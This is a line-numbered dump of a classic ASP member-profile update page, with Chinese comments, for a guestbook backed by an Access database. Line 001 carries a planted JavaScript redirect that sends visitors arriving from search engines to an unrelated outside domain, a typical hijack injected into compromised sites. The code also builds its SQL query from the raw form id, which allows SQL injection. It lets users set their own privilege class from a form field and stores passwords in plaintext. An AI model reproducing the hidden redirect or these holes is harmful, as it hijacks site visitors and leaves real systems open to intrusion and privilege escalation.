d:\wwwroot\wuchunhua\liuyan\updatemember.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'检查密码格式是否正确
003:
Function CheckPass(upass)
004:
CheckPass = TRUE
005:
Dim count
006:
Dim sstr(15)
007:
Dim lupass
008:
Dim AscValue
009:
lupass = LCase(upass)
010:
011:
'提取每一个字符，存储到数组中
012:
count = Len(lupass)
013:
For i=1 To count
014:
sstr(i) = Mid(lupass,i,1)
015:
Next
016:
017:
'依次检验每个字符，必须为字母或者数字
018:
For i=1 To count
019:
AscValue = Asc(sstr(i))
020:
if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
021:
CheckPass = FALSE
022:
Exit For
023:
End If
024:
Next
025:
026:
End Function
027:
%
>
028:
<%
029:
'检查用户是否登陆
030:
If Session("IsPassed") <> TRUE Then
031:
Response.Redirect "login.asp?ErrMsg=请先登陆"
032:
Response.End
033:
End If
034:
035:
'检查用户是否有足够权限进行资料修改
036:
If Session("UpdatePermitted") <> TRUE Then
037:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请先修改信息"
038:
Response.End
039:
End If
040:
041:
'获取表单数据
042:
Dim UserId, Password, Password2, RealName, Email, Url, Comment, UpdataCode, UserClass
043:
UserId = Request.Form("id")
044:
Password = Request.Form("passwd")
045:
Password2 = Request.Form("passwd2")
046:
UpdateCode = Request.Form("UpdateCode")
047:
RealName = Request.Form("realname")
048:
Email = Request.Form("Email")
049:
UserClass = Request.Form("Authority")
050:
Comment = Request.Form("Comment")
051:
Url = Request.Form("Url")
052:
053:
'密码字段不为空，表示要修改密码，则对密码格式进行检验
054:
If Password <> EMPTY Then
055:
'密码不可以超过 15 个字符
056:
If Len(Password) > 15 Then
057:
Session("UpdatePermitted") = False
058:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=用户密码不可以超过 15 个字符"
059:
Response.End
060:
End If
061:
062:
'密码格式必须正确
063:
If NOT(CheckPass(Password)) Then
064:
Session("UpdatePermitted") = False
065:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=用户密码应该由英文字母或数字组成"
066:
Response.End
067:
End If
068:
069:
'两次密码输入必须一致
070:
If Password <> Password2 Then
071:
Session("UpdatePermitted") = False
072:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=“密码确认”字段与“用户密码”字段一定要相同"
073:
Response.End
074:
End If
075:
End If
076:
077:
'检查验证码是否为空
078:
If UpdateCode = EMPTY Then
079:
Session("UpdatePermitted") = False
080:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请填写验证码"
081:
Response.End
082:
End If
083:
084:
'检查验证码是否正确
085:
If UpdateCode <> Session("UpdateCode") Then
086:
Session("UpdatePermitted") = False
087:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请填写正确的验证码"
088:
Response.End
089:
End If
090:
091:
'Email字段不为空，表示要修改Email，则对Email格式进行检验
092:
If Email <> EMPTY Then
093:
'必须输入格式正确的EMail地址
094:
If InStr(Email,"@") = 0 Then
095:
Session("UpdatePermitted") = False
096:
Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请输入正确的E-mail地址"
097:
Response.End
098:
End If
099:
End If
100:
101:
'建立数据库连接
102:
Dim objConn,objRS,strSQL
103:
104:
'初始化数据库连接
105:
DB="./Board/database/BOARD.mdb"
106:
Set objConn = Server.CreateObject("ADODB.Connection")
107:
objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
108:
'打开数据库连接
109:
objConn.Open
110:
111:
'SQL语句
112:
strSQL = "SELECT * FROM MEMBER Where ID=" & UserId
113:
114:
'打开数据集
115:
Set objRS = Server.CreateObject("ADODB.Recordset")
116:
objRS.Open strSQL, objConn, 1, 3, 1
117:
118:
'确定要修改的各个字段的值
119:
If Password = "" Then
120:
Password = objRS.Fields("PASSWORD")
121:
End If
122:
123:
If RealName = "" Then
124:
RealName = objRS.Fields("REALNAME")
125:
End If
126:
127:
If Email = "" Then
128:
Email = objRS.Fields("EMAIL")
129:
End If
130:
131:
If Url = "" Then
132:
Url = objRS.Fields("Url")
133:
End If
134:
135:
If Comment = "" Then
136:
Comment = objRS.Fields("COMMENT")
137:
End If
138:
139:
If UserClass = "" Then
140:
UserClass = objRS.Fields("CLASS")
141:
End If
142:
143:
'更新数据的操作
144:
objRS.Update Array("PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT", "CLASS"), _
145:
Array(Password, RealName, Email, Url, Comment, UserClass)
146:
147:
'关闭数据库连接并释放对象
148:
objRS.Close
149:
Set objRS = Nothing
150:
objConn.Close
151:
Set objConn = Nothing
152:
153:
'修改操作结束，将Session中修改允许的标记设为FALSE
154:
Session("UpdatePermitted") = False
155:
156:
'转向系统主界面
157:
Response.Redirect "index.asp"
158:
Response.End
159:
%
>
160:
161: